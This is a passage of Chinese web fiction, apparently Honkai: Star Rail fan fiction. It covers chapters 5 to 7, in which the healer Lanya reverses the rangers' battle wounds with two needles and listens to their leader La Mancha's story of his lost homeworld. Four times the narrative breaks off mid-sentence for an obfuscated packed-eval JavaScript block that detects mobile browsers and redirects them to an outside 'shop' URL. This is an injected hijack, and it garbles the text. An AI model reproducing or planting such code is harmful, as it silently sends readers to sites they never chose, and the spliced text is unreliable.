战刃所过之处,血肉横飞,虫群的尸体堆积如山。巡海游侠也有不少人受伤倒地。 兰涯看到了他们,在虫群的尸体之间,在飞船的残骸旁边,在那些被战刃劈开的沟壑里。 有的人在呻吟,有的人在喘息,有的人已经不动了。 兰涯站在战场中心不远的港口处,疼痛悄然蔓延至四肢百骸,让她忍不住微微皱眉。但她没有像以前那样选择逃避,而是任由那些痛感进入她的身体。 每一个伤员的痛苦,每一个濒死者的挣扎,那些正在被虫群吞噬的人的最后一丝意识。 她看着那个年轻游侠,他的右腿被毁灭的力量侵蚀,黑色的腐蚀从膝盖蔓延到大腿。 明明疼得浑身冒汗,但他的牙齿咬得咯咯响,没有发出一声呻吟。他身边的战友想要搀扶他,他推开了那只手。 “别管我,”他说,声音沙哑但清晰,“去帮前面。” “你腿废了!” “废了就废了,诛罗还没死。” 他撑着刀,试图站起来。右腿使不上力,他晃了晃,差点摔倒,但最终站住了。他的身体在发抖,但他的眼睛没有发抖。那双眼睛看着战场的方向,看着那些还在战斗的同伴,看着那个还没有倒下的目标。 兰涯看着他。在那些轮回的数据里,死亡是常态,是宇宙运转的一部分。 但此刻,看着这个年轻游侠撑着刀站在废墟上,右腿被侵蚀,浑身在发抖,却不肯倒下。 她忽然明白了,那些不是数据,那些是人。 她不由自主地摸到了那两枚针,金色的时针,银色的罗盘指针。 耳边,芽衣的声音再度响起。 “纵然世界只有黑白,但一定会有一点红色稍纵即逝。” 生命的红色。 她看着那个年轻游侠,看着他腿上的血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485873|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他刀上的血,看着他眼睛里的血丝。 红色。到处都是红色。那些红色在黑色潮水中挣扎、燃烧、不肯熄灭。 不忍。 这个陌生的情绪压过了自身的痛楚。 兰涯不知道自己能不能做到。她不知道那两枚针能做什么。她甚至不知道自己在想什么,她不是医生,她从来没有救过人,连对于人类身体构造最基础的知识都不熟悉。 但想试一试,不想只是旁观者,于是她握紧了手里的两枚针,朝着那个年轻游侠走去。 在一众游侠中,兰涯显得格格不入。 不是因为她穿着素色的袍子,游侠们穿什么的都有,风衣、夹克、甚至还有穿着沙滩衬衫就来打仗的。 也不是因为她没有武器,战场上不带武器的人虽然少见,但也不是没有,医疗兵就不带武器。 格格不入的,是她的神情。游侠们的脸上有愤怒,有仇恨,有决绝。但兰涯的脸上什么都没有。她的脸上是空的,像一面没有映照任何东西的镜子。 她走到那名年轻游侠的身边,蹲下身,没有说一句话。抬手,金色的时针稳稳扎入对方被侵蚀的伤口边缘处。 “你谁啊?”年轻游侠的战友,一个满脸胡茬的中年男人被她的动作吓了一跳,伸手就要去拽她,“他〇的干什么啊?” “安静。”她说。 但那个中年男人不知道为什么,真的安静了。也许是因为她的声音太理所当然了,也许是因为他看到了那个年轻游侠的腿上那些正在蔓延的黑色腐蚀,在金针下像被冻住了一样,停止了扩散。 她的手指稳稳地捏着银色的罗盘指针,将它扎入伤口。 然后,更不可思议的事情发生了。 年轻游侠腿上那些已经坏死的、几乎要消散的肢体,以肉眼可见的速度开始凝实。 与从伤口边缘向中心生长的愈合截然不同。这是逆转,像是有人把时间倒回了受伤之前,那些被毁灭力量侵蚀的皮肉,像倒放的视频一样,一点一点地恢复原状。 年轻游侠原本涣散的眼神瞬间有了光彩。他低头看着自己的腿,张了张嘴,什么声音也没发出来。痛楚消减了大半,他的呼吸平稳了,肩膀不再发抖了。 周遭的游侠皆是一惊,纷纷侧目,满脸难以置信。 寰宇之中有很多种治疗方式,比如在宇宙间很有市场的丰饶命途的快速愈合、存护命途的创伤抑制、甚至还有欢愉命途的“假装不疼”,顺便一提这真的不推荐。 但毁灭命途造成的伤口,非等闲方法可以解决。绝大部分人都只能接受眼睁睁看着自己死亡的命运。 此刻,这个陌生的、看起来柔弱到在场任何一个游侠都能直接掐死的女子,用两枚针轻易稳住了。 兰涯仿佛根本没有意识到自己的行为是多么反常识。她站起来,走向下一名伤者。 一针下去,溃烂的肢体瞬间停止了腐化。 另一针下去,肢体恢复了此次受伤前的样子,连以前的旧伤疤都完好地回溯了。 那个被救治的游侠看着自己重新出厂的手臂,愣了好一会儿,然后喃喃地说了一句:“我〇。” 5. 第 5 章 游侠们飞快地接纳了这位突然冒出来的“神医”。 他们甚至主动腾出空间,把伤员一个一个抬过来,免得她四处走动寻找伤员。有人给她搬来一个箱子当凳子,有人给她递了一瓶水,有人在她身边站岗,也许是为了保护她不被流弹波及,更多的是帮她递伤员、递那些她可能需要的东西。 战斗前半程,游侠们损失惨重。 战斗后半程,一直到诛罗死亡、战斗胜利,游侠们的伤亡程度迎来了一个奇迹。除了那些在战场上当场死亡、连灰都捞不回来的,其他凡是被抬回港口的,都活了下来。甚至连那些身躯已经开始崩解的,在明眼人眼里已经是“没救了,拿棺材吧”的,都被那两枚针硬生生恢复如初。 第一个被救的年轻游侠靠在柱子上,看着自己的腿,又看了看远处正在救治其他人的兰涯,喃喃自语:“我〇,这哪是医师,这他〇的是神吧。绝境都能逆转回来的神。” 战斗持续了多久,兰涯就医治了多久。 不眠不休。 她没有坐下过,虽然有人给她搬了箱子,但她没坐。 她只是蹲着、站着、弯着腰,重复着同一个动作:扎针,拔针,再扎针,再拔针。 金色和银色在她的指尖交替,她的手指在累得发抖,甚至身体已经忙得来不及感受疼痛了,但她没有停下来。 到后来,她只需站在原地,游侠们就直接把伤员抬到她手下。完全成了流水线操作,人抬过来,扎针,拔针,抬走,下一个。效率高得像工厂里的装配车间,只是这里处理的是人的生死。 几名刚结束治疗的巡海游侠正靠着残破的货箱喘息。他们的对话,顺着风,清晰地传入兰涯耳中。 “〇的,诛罗那力量太强悍了,老大让我们后退!” “〇的后退?老子还要上呢!腿好了不打架,那治好了干嘛用的?” “老大要放那个了吧。〇的,干死诛罗他〇的!” 兰涯的语言观受到了些许冲击。 她在系统里听过无数种语言,但巡海游侠们的“鸟语花香”浓度,还是超出了她的预期。 每一个短句里都至少有一个令她大为震撼且能猜到不太五讲四美还兼具标点符号感叹疑问等等功能的词。 趁着下一个伤员还没抬上来,她站起身活动了一下腿。蹲太久了,膝盖在抗议,小腿在发麻。她跺了跺脚,试图让血液重新流通起来。 就在这时,远处的战场突然传来一阵刺耳的轰鸣声。 那声音盖过了所有的厮杀与嘶吼,有别于分贝的响,这更像是什么东西在很低很低的频率上震动,人耳听不到那个频率,但身体能感觉到。 兰涯的胸腔在共振,骨头在嗡嗡作响。她抬头,瞳孔骤然收缩。 原本混乱的战场中央,突然冒出一团巨大的黑色影子,正以肉眼可见的速度扩张,像一个正在长大的黑洞。 那影子有着极强的吞噬力,如虹吸一般,战场周围的飞船残骸、虫群尸体、甚至是来不及撤退的巡海游侠,都被它源源不断地吸入其中,甚至来不及发出丝毫挣扎的声音。 港口里的巡海游侠们也愣住了。纷纷停下谈话,望向那团黑色的影子。没有人说话,没有人动。他们只是站在那里,看着那团影子吞噬着战场上的一切。 紧接着,一阵沉闷而恐怖的咀嚼声,顺着风传入兰涯耳中。低沉,浑浊,带着远古的暴戾与贪婪。每一次咀嚼,都伴随着骨骼碎裂的脆响,令人不寒而栗。 兰涯不安地左右张望。 周围人好像都没有听到这个声音。他们只是沉默地看着那团影子,脸上写满了复杂,像是知道会有这团影子的存在,知道会有这样的牺牲才能换来胜利,但是……那种“但是”后面跟着的东西,没有人说出来。 兰涯听到了,只有她听到了。 那个咀嚼声不是从空气中传来的,而是从更深处,从虚数的脉络里,那是贪饕的影子在进食。作为虚数之树的锚定器,她能感知到古兽的存在,哪怕只是影子。 贪饕不是普通的古兽,它是宇宙生灵欲望的化身,固定在生命的底层逻辑之中。只要宇宙有生命的概念,它就会和宇宙一起长出来。 随着战场的一切被吞噬完毕,虫群、残骸、诛罗、受波及的人,影子没有无节制地膨胀。它肉眼可见地缩小,像一只吃饱了的野兽,慢慢收回了自己的爪牙。最终,它消失了。或者说,它缩回去了。 她不知道那个地方具体细化到哪个角落。但她知道,那个影子的宿主就在这里。 新一批幸存下来的伤员被送过来。兰涯不作他想,继续低着头,双手重复着扎针、拔针的动作。 她的手指已经机械化了,不需要思考,不需要判断,只需要看到伤口,然后下针。 不知过了多久。 直到身边再无伤员的呻吟,直到她的视野里只剩下破损的集装箱和散落的医疗用品,直到—— 一双布满灰尘和血污的靴子,稳稳停在她面前。 “你就是卢锡安他们说的「绝境医师」?” 声音是低沉的,带着一种刚经历过大战的沙哑,没有高高在上的质问,好像只是单纯在确认“我听说有个人,应该就是你”。 兰涯缓缓抬眸。 视线顺着靴子向上移动,腰间别着一把枪,枪套磨损得很厉害,看得出用了很多年,风衣衣摆有被火烧过的焦痕,然后是脸。 男人身形挺拔,即使站在刚经历过恶战的废墟中,脊背也是直的。墨色的半长发随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485874|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意束在脑后,几缕碎发落在脸侧,睫毛很长,但沾满了灰。他的眼睛很亮,像一把刚磨好的刀。 他的右手很奇怪。 这是一只义肢,缠着厚厚的绷带,从手腕一直缠到上臂,绷带的末端用一枚别针固定。手腕处钉着三枚钉子,绷带下面,有东西在蠕动,像是有什么活物在他的皮肤下游走。 兰涯蹲得太久了,尝试站起来,但腿不听使唤,只能维持着蹲姿,颔首致意:“兰涯。” “领猎人,拉曼查。” 拉曼查蹲下身,与她平视。这个动作很自然,看得出,他不是那种会居高临下俯视别人的人。 “感谢你在战场的及时援助。”他的声音很诚恳,没有客套,没有修饰,“如果没有你,我们的伤亡损失会更严重。” 兰涯的目光不受控制地飘向他的右手。 绷带下面的影子在蠕动,她努力不让自己去看,但眼睛不听她的话,那团影子有一种奇怪的吸引力,你看了一眼,就想看第二眼。 “我其实并不会医治,”她说,目光终于从手臂上移开,看向拉曼查的眼睛,“「绝境医师」这个名字,过誉了。” 拉曼查眨了眨眼,转头看向那群活蹦乱跳的游侠,有人在互相拍肩膀,有人在清理战场,有人在大声说着“刚才那一枪你看到了吗”,还有人正在试图用脚踢一个已经不动的虫群尸体。 他又把头转回来,咀嚼着兰涯的话,产生了困惑:“不会医治?那他们是怎么……起死回生的?” “简单来说,”兰涯想了想,用最简单的话解释,“我用时针逆转了他们身体局部的状态,再用指针重启了身体的未来。” 她顿了一下,决定把话说全。 “这不是真正的医治。在未来,也许是几个小时,也许几天,也许几年后,他们还是会迎来受伤死亡的结局。我只是把受伤这个事实从现在的时间轴上剥离了,但在未来的某个时间点,它会重新出现。” 她说完了,做好了心理准备。 人类听到这样的话,理论上不会高兴。没有人愿意被告知“你的伤只是被推迟了,不是被治愈了”。 但拉曼查没有不高兴。他只是很平静地听着,然后说了一句让兰涯意外的话。 “那也是很好的事情了。”他说,“巡海游侠就是这样,有了今天,可能并没有明天。所以,请收下大家的感谢。” 兰涯看着他,紫灰色的眼睛透着真诚。 她点了点头,表示收下了感谢,接着尝试再次站起来。 这一次,拉曼查终于发现了问题,她不是不想站,是站不起来。他赶紧伸出手,握住她的手腕,轻轻一提,另一只手握拳,非常绅士地搀扶了一把。 她的手好冰。他想。 6. 第 6 章 兰涯站起来后,目光又不受控制地飘向了他的右手。绷带下面的影子在蠕动,那些黑色的纹路像是在呼吸,起伏,又起伏,再起伏。她犹豫了一下,最后还是忍不住开口了:“贪饕的影子。” 拉曼查的眼睛亮了一下。 “这都知道?!神医啊!” 然后,不知想到了什么,他的语气多了几分不易察觉的恳求:“你的逆转,能救回被我牵连的战友吗?” 兰涯继续盯着绷带下蠕动的暗黑色影子。 “贪饕的影子。”她又确认了一遍,阐述事实,“你放出了它吞噬诛罗,把周围都吞没了。” 拉曼查没有辩解,脸上满是愧疚与苦涩,他的眉头皱在一起,嘴角向下抿着,眼睛里的光暗了几分。 “是。”他说,声音很沉,“诛罗太强,游侠们伤亡太大,我只能动用贪饕的影子。那些战友……他们是被我连累的。” 兰涯摇了摇头:“对不起,我救不了。” 拉曼查眼里的恳求瞬间变成了沮丧,那种以为终于有办法了结果被现实打回来的沮丧,甚至带着一丝急切。 “为什么?”他往前倾了倾身子,声音拔高了一些,“你能救其他人,为什么不能救他们?他们是无辜的,都是被我连累的!” “因为他们是命数既定者。” 兰涯的声音很轻,但字字清晰,没有多余的情绪,单纯陈述出答案是这样。 “你放出贪饕影子吞噬诛罗,是终结这场战争的必经之路。诛罗的死,早已是既定结局。而他们被牵连,是这场因果里必然的代价。” 她看向拉曼查,目光澄澈。 “如果我救了他们,诛罗的死这个结果会变得不确定。整个战场的因果都会紊乱,甚至可能让诛罗死而复生。” 她停顿了一下,“那样的结局,你接受吗?” 拉曼查僵在原地。 脸上的急切像被人按了暂停键,他缓缓低下头,看着自己手臂上蠕动的贪饕影子。他盯着它们看了很久,久到兰涯以为他不会说话了。 “这就是代价。”他的声音很低,低到像是只说给自己听的。“到底还是我连累了他们。” 他的声音带着一丝哽咽,不重,兰涯听到了。他没有哭,他的眼睛是干的。但那声音里有别的东西,一种被压在最深处的、不想让人听到的东西。 往日里桀骜不羁的游侠首领,此刻像一只被暴雨浇了三天三夜的流浪小狗。 湿淋淋的,耷拉着耳朵,站在雨里,不知道往哪里走。 兰涯看着他,想说点什么。比如人类社会里一些安慰的话,一些“这不是你的错”的话,一些“你已经尽力了”的话。但她张了张嘴,什么都没说出来。 她不知道那些话是不是真的有用。他放出了影子,影子吞掉了那些人。但他不放影子,诛罗不会死,更多的人会死。 在这一刻最确定的认知是自己的确说不来什么漂亮话。 不过,刚才那种不忍的情绪又升了起来,她想了想,用自己认为属于安慰的话语说:“你能控制住贪饕的影子,非常不容易了。” 这话语显然没有安慰到拉曼查。他的嘴角动了一下,不是笑,是那种“你是在安慰我吗”的苦涩。 “观星者我见指点我去取得贪饕的影子时,告知了我代价。”他的声音很沉,像是在回忆一段不太想回忆的过去,“我做好了心理准备。但没有想到代价如此之大,大到超出了我的认知。” 兰涯看着他手臂上的影子。那些黑色在蠕动,目前来看,它们的边界姑且是清晰的,没有严重的侵蚀。一个凡人之躯,寄生着古兽的影子,却没有被它控制。 “贪饕的影子在侵蚀你,”她说,“但你不只是被动方,你还反过来制约了影子。” 拉曼查抬起头,眼睛亮了,那种小孩子努力的成果被看到了的亮。 “天弓在上,”他的声音里带着一丝骄傲,“这是巡猎的能力。” 兰涯眨了眨眼睛,她刚才仿佛幻听了,天上传来了什么奇怪的声音 ——“朋友,巡猎的力量,很神奇吧!” 那声音不大,像是有人趴在她耳边说的,但周围没有别人。 她决定当作没听到,下一秒直接伸手抓住了拉曼查的右手,快到不设防的拉曼查根本没来得及反应。 “哎?你怎么?”他被抓得猝不及防,话都说不利索了。 他的第一反应是抽手,倒不是因为怕她突袭,而是因为那只手上有影子,自己不确定那东西会不会伤害她。但她的手握得很紧,他抽了一下,没抽动。 兰涯低头看着那只手。那些黑色的活物,在游走,在寻找出口,在试图突破那层封印。 她拔出金针,对准影子和身体连接的地方扎了下去,只扎了一针。 金色的光从针尖注入,沿着那条界线扩散开,像是一条金色的堤坝,把黑色的潮水挡在了外面。影子剧烈地蠕动了几下,像是在挣扎,然后慢慢地、慢慢地安静了下来。 拉曼查低头看着自己的手。他能感觉到变化,幻痛感并没有消失,像是有什么东西被固定住了,那些一直想办法侵蚀身体的东西,停了。 “话虽如此,”兰涯拔出金针,用袖口擦了擦针尖,把它插回发间,“我能帮你固定侵蚀的边界,剩下的要靠你自己。” 他抬起头,看着兰涯。她的脸色比刚才更白了。她一直没有休息过。从战场到港口,她一直在救人、救人、救人。没有吃饭,没有喝水,没有闭上眼睛。 拉曼查站直了身体,郑重地行了一个礼。有别于游侠之间那种随意的、拍肩膀的礼,这是一个正式的、认真的、带着敬意的礼。右手握拳,贴在胸口,颔首。 “谢谢你。”他说。 兰涯看着他的动作,觉得有些奇怪。从来没有人对她行过礼。不知道怎么回应的她选择转过头,望向远处。 血色的土地上,游侠们正在清理战场。有人在搬运尸体,战友的,敌人的,分开放置。有人在回收武器,枪、刀、还有那些来不及使用的弹药。有人在整理遗物,那些小小的、属于某个人、证明某个人存在过的东西。 那些被牵连的战友,成为了这场战争、这份因果里,无法逆转的代价。 兰涯看着那些忙碌的身影,轻声说了一句话。不是对拉曼查说的,更像是自言自语:“写下一个自己喜欢的结局。我相信我不会后悔自己这次的选择。” 拉曼查只是站在那里,和她一起看着远处的战场,看着那些正在被清理的废墟,看着那些正在被收敛的尸体。 有些时候,不说话是最好的陪伴。 夕阳西下。幸存的巡海游侠们褪去一身的疲惫,在临时搭建的营地中央燃起了一堆篝火。 火光照亮了半个营地,把每个人的脸都染成了暖橙色。那些在战场上冷硬如铁的轮廓,在火光中变得柔和了一些。几桶烈酒被搬了过来,陶罐碰撞的脆响、粗犷的笑骂声、伴随着尤克里里响起的歌声,成了战后最鲜活的气息。 这是人类信念的跃动,活着的人在一起喝酒、唱歌、骂脏话,庆祝自己还活着。 “医师!过来喝一杯!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485875|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卢锡安举着陶罐,远远朝着兰涯大喊。他的声音很大,大到半个营地都能听到,语气里满是感激与热忱。 “要不是你,我们这群人早死了!今天必须敬你一杯!” 旁边几个游侠也跟着起哄:“对!敬医师!”“医师不来,这酒喝着没意思!” 拉曼查站在兰涯旁边,看着她。 “去坐坐吧,”他说,声音不大,只有她能听到,“也算给他们一个向你道谢的机会。不想喝就不喝,没人会逼迫你。” 兰涯没有拒绝。 她跟着拉曼查走到篝火旁。游侠们立刻腾出一块空地,并非简单的让个位置,那种全员很自觉地往两边挪了半米,给她留出了一大片空间。有人递来盛满烈酒的陶罐,有人忙着给她搬来不知道从哪个飞行器上拆下来的凳子,还特意用袖子把凳子面擦了又擦,擦得干干净净,才放到她面前。 周围人群的声音也下意识放轻了几分,游侠们永远不会安静,只是那些原本扯着嗓子的喊叫,变成了压着嗓子的低语。 但即便如此,营地里依然此起彼伏地飘着各种带有游侠特色的“鸟语花香”。 “我不喝酒。”兰涯轻轻摇了摇头,将陶罐推了回去。声音平淡无波,没有解释,没有歉意。 拉曼查立刻会意。他转身从水囊里倒出一碗清水,递到她手中。 “喝口水吧,”他说,“你到现在都没吃饭喝水。” 兰涯接过碗。碗是粗陶的,表面不光滑,摸起来有些扎手。水是凉的,碗沿上还沾着一点水渍。她捧着那碗清水,安静地坐在角落,与周遭的喧闹格格不入。 篝火噼啪作响,映得兰涯苍白的脸颊泛起一丝淡淡的暖意。 身旁的游侠们推杯换盏,陶罐碰撞声、粗声粗气的笑骂声此起彼伏。粗话脏话、各种她听不懂但能猜到意思的俚语,混着烈酒的辛辣气息,在空气中弥漫开来。 “他〇的诛罗!老子只有三发射中!嗐!〇的!” “别提了!要不是老大,我们根本撑不到医师来。可惜了那些兄弟姐妹……” “少说那些丧气话!活着的人,得替死了的好好活!来,干了!” 陶罐碰撞,酒液飞溅,几个人仰头灌下一大口,然后同时发出“哈——”的满足声。 兰涯安静地听着。没有插话,也没有流露过多情绪。她只是坐在那里,捧着那碗清水,偶尔低头喝一口。 拉曼查坐在她身边。他一边和兄弟们喝酒,一边悄悄留意着她的神色。 她的目光落在篝火上,落在唱歌的人身上,落在那些正在抢酒的游侠身上。她的目光总是在某处停留一下,然后移开,像是在观察,又像是在确认“这是真的”。 他偶尔会递过一块刚出炉的麦饼,低声说一句“垫垫肚子”。 兰涯接过麦饼,掰了一小块放进嘴里。麦饼是粗粮做的,口感有些糙,但有一股朴素的、粮食本身的甜味。 篝火渐渐减弱。夜色漫过营地,游侠们的喧闹声渐渐低沉。大部分人沉沉睡去,有人躺在睡袋里,有人靠着货箱,有人干脆直接躺在沙地上,用外套盖着脸。尤克里里的声音停了,唱歌的人不知道什么时候闭上了嘴,只有火堆还在噼啪地响。 兰涯放下空碗,拢了拢被风吹乱的发丝,抬头望向似乎无穷无尽的星空。 星星很多,多到数不清,有的亮,有的暗,有的在闪烁,有的安静。 她闭上眼睛,听着火堆的声音,听着远处有人打呼噜的声音,听着风穿过废墟的声音。 这一刻,自己是作为人而存在的。 7. 第 7 章 诛罗之战落幕不过一周,巡海游侠的名声便响彻整个星河。 曾经被星际和平公司视为“乱党”的他们,因诛杀毁灭令使,成了无数人心中的英雄。 新闻在播,广播在播,连那些偏远星球的小酒馆里,都在传唱“游侠诛杀绝灭大君”的故事。 而随游侠们一同声名鹊起的,还有那位神秘的“绝境医师”。 流言在星际间疯传——绝境医师,以双针逆转生死。有人说她是丰饶令使,有人说她是某位星神的化身,还有人说她拿了作弊修改器。传得越远,越离谱。 拉曼查找到兰涯的时候,兰涯正在给孩子们上扫盲班课程。 游侠们的营地不像正经军队,没有什么正规教育的概念。但架不住队伍里有很多跟着大人东奔西跑的孩子,有的是游侠的子女,有的是被解救的孤儿,有的是在某个星球上捡到的、不知道该往哪里送的小家伙。这些孩子需要一个地方待着,需要有人教他们一些东西。 虽然游侠们日常“鸟语花香”,但大多都是学校肄业的文化水平。让他们打架可以,让他们教孩子读书,那真是为难他们了。 不过出于对医师的救命之恩,游侠们还是耐着性子带着孩子学了一星半点儿,自我安慰:闲着也是闲着。 再过几天,这群聚是一团火的游侠们,将纷纷踏上新的巡猎之路,散作满天星。 今天扫盲班的内容是认识星轨图。 在宇宙间穿梭,不会看星轨图,不会使用导航,是很容易迷路的。事实证明,不是人人都能飞快上手导航功能。对于一些人来说,手机就是发消息的工具,打电话、发短信、刷短视频,导航?那是导航软件的事,你说导航软件在手机上,跟我有什么关系? 兰涯邀请了自称是“前无名客”的铁尔南负责助教。 铁尔南的气质和周围的游侠不太一样。周围的游侠像狼,他像一只正在晒太阳的大猫,懒洋洋的,但你知道他随时可以动起来。 “啊,这难道不是一看就会的东西吗?”铁尔南显然对教学有些崩溃。 他手里拿着星轨图,面前坐着一排一脸茫然的游侠和孩子们,每一个人的表情都在说“你在说什么”。 “为什么最基础的经纬度都学不会啊。” 兰涯站在教室的角落,手里也拿着一份星轨图。她低头看着那些密密麻麻的线条和数字,沉默了一会儿。 “其实你教的时候,”她诚恳地说,“我也刚刚学会。” 铁尔南转过头,看着她,眼睛睁大了一些:“那兰医师你是怎么到这里来的?” “跟着声音跃迁过来的。” “这也能跃迁?” “你作为无名客,应该习以为常了吧。”兰涯说,“听大家说,无名客所在的星穹列车一直在星际间跃迁。” “话是这么说……”铁尔南挠了挠头,语气变得有些微妙,“我已经下车了,现在又是巡海游侠,只能说自己是‘前无名客’。” 这句话被走进来的拉曼查听到了。他手里拿着一台手机,显然不是来上课的。 “哎,可不能这么说。”拉曼查反对道,语气很认真,“我相信以开拓星神阿基维利的风格,不违背开拓初心的,永远都是无名客。这两者并不冲突。” 兰涯点了点头:“阿基维利也会同意这个观点的。” 铁尔南看着自己手里的星轨图,看着那些密密麻麻的线条,像是在看一条很长的路,说:“可惜祂已经陨落了。” 兰涯睁大了眼睛:“陨落了?” 铁尔南看着她,脸上浮现出这不是常识吗你在说什么怪话的微妙表情。 “有时发现兰医师你还挺特别的。”他说,“好多大家都知道的历史、新闻你都不知道。开拓星神阿基维利,很早就陨落了。那个时候毁灭星神都还没诞生呢。” 兰涯怔怔地站在那里,没有说话。她当然知道阿基维利,开拓星神,从孤绝世界裴伽纳出发,乘坐星穹列车穿越星海。 她以为祂还在。因为在那些轮回里,阿基维利是一个常驻的名字,祂总是在那里,像一颗不会熄灭的星星。但铁尔南说祂陨落了。 兰涯这才发现自己对时间的感知,和人类不一样。自己以为的不久前,可能是人类的1个琥珀纪。自己以为的还在,可能早就已经不在了。 等她回过神来,铁尔南已经离开去进行下一波教学了。这里只剩下兰涯和拉曼查。拉曼查没有催促,只是站在那里,手里拿着那台手机,显然是在等她。 兰涯看着他,问:“你找我有事?” 拉曼查走过来,把那台手机递给她,屏幕还贴着出厂保护膜,看起来很结实。 “你拿着。”他说,“看你没有手机,这个还是很需要的。” 前有芽衣给自己买衣服、吃点心、送唇膏,现在又被拉曼查送了手机。兰涯终于从大脑中抽出了一些人类交易的常识。 “我没有钱。”她说。 “嗐!不要你的钱。”拉曼查无奈,把手机塞进她手里,像是怕她推回来,“你也不要觉得不好意思。我其实有事相求。” 他顿了顿,像是在组织语言:“里面留了我的信息和基地坐标。如果以后我们这里遇到麻烦,能请你过来帮忙吗?” 他偷偷观察着兰涯的表情,补充道:“我会给你报酬的。” 兰涯想了想。 “报酬对我没什么意义。”她说,“我可以像铁尔南那样加入巡海游侠吗?” 拉曼查的反应比她预想的快得多。 “不行。” 秒拒,干脆利落得像一枪爆头。 听到拉曼查的拒绝,兰涯很疑惑。 “你刚才不是对铁尔南说,这两者并不冲突。”她反问,“我不可以吗?” 拉曼查叹了口气,那声叹息很轻,但很长,像是从很深的地方呼出来的。 “这不是什么吸引人的事情。”他说,声音比平时低了几分,“这条路意味着失去、痛苦和复仇。我希望你永远都不要成为巡海游侠。” 兰涯眼中的不解没有消退,反而更深了。 拉曼查看着她那双澄澈的、写满问号的眼睛,忍不住又叹了口气。 他伸出手,示意她跟自己走。两个人走到营地边缘,远离了篝火和喧闹,站在一片空旷的沙地上,能看到远处的星星低低地压在地平线上。 “我的家乡,是喀琅施塔特星。”拉曼查的声音很轻,像是在讲一个很久以前的故事,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485876|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外人都称它为‘黑教堂’。” 他停顿了一下。 “除了用黑色火山岩石建造的教堂,它还有着美丽的橙花海岸和永不停歇的风车。” 兰涯想象着那个画面,那些颜色和事物在她的脑海里拼凑在一起。 “可诛罗的阴影降临了。” “他污染了星球。我的亲人们、伙伴们,全都被同化为失去理智的野兽。双眼猩红,只知撕咬吞噬,沦为他的傀儡。从此,喀琅施塔特星成为了绝灭大君诛罗一手培植爪牙的鲜血魔窟。” 兰涯没有说话。 “我侥幸逃脱。从此踏上了复仇之路。” 拉曼查的声音和芽衣那种已经过去了的淡然不一样,是以意志来约束自己保持理性的平静。 “我握着弓箭,回到那片被鲜血浸染的土地,亲手斩杀那些沦为野兽的亲族。每一箭射出,都像扎在自己心上。可我不能停,诛罗的爪牙不死,就会有更多人像我的亲人一样,坠入深渊。” 他停了很久。 “我杀了所有被同化的族人,直到家乡只剩下最后一只野兽。我拉满长弓,箭矢对准它的心脏。它扑来的瞬间,箭矢穿透了它。” 他的声音开始发抖,兰涯察觉到,他其实努力不让声音抖但忍不住了。 “它倒在地上,光点从它体内涣散。就在那即将熄灭的兽瞳里,我捕捉到了一丝熟悉的温柔,那是我从小一起长大的发小,是曾经陪我在黑教堂下许愿、一起练习的人。” 风从远处吹来,带着沙土的气息。 “那一刻,我才明白,我杀的从来不是野兽,是我所有的过往。这一箭,射穿了它的性命,也射穿了我的未来。” 兰涯看着他。他的侧脸在星光下显得很硬,下颌线绷着,咬肌微微鼓起,他在咬牙。不是愤怒,是在约束自己,约束那些他不想让别人看到的东西。 “铁尔南和你不一样。”拉曼查说,“他随灯蛾家系一同重新开辟银轨,遭到虫群袭击,被游侠解救下来。因为和匹诺康尼暂时无法联系,我们正召集人准备诛杀诛罗,他就加入了巡海游侠。这个无名客可不一般,身手厉害得很。” 他转过身,看着兰涯,伸出手轻轻拍了拍她的肩膀。 “我看得出,你心中无爱无恨。没必要和我们这群人一起受苦。” 兰涯没有避开他的手。 “诛罗已经死了。你的复仇已经达成了。”她问,“接下来还要复仇吗?” 拉曼查笑了,带着自信和骄傲的笑了。 “这世上那么多人遭受不公不义。每个巡海游侠兄弟姐妹都有自己的复仇目标。一个人的力量可能微小,一群人的力量就不容小觑了。” 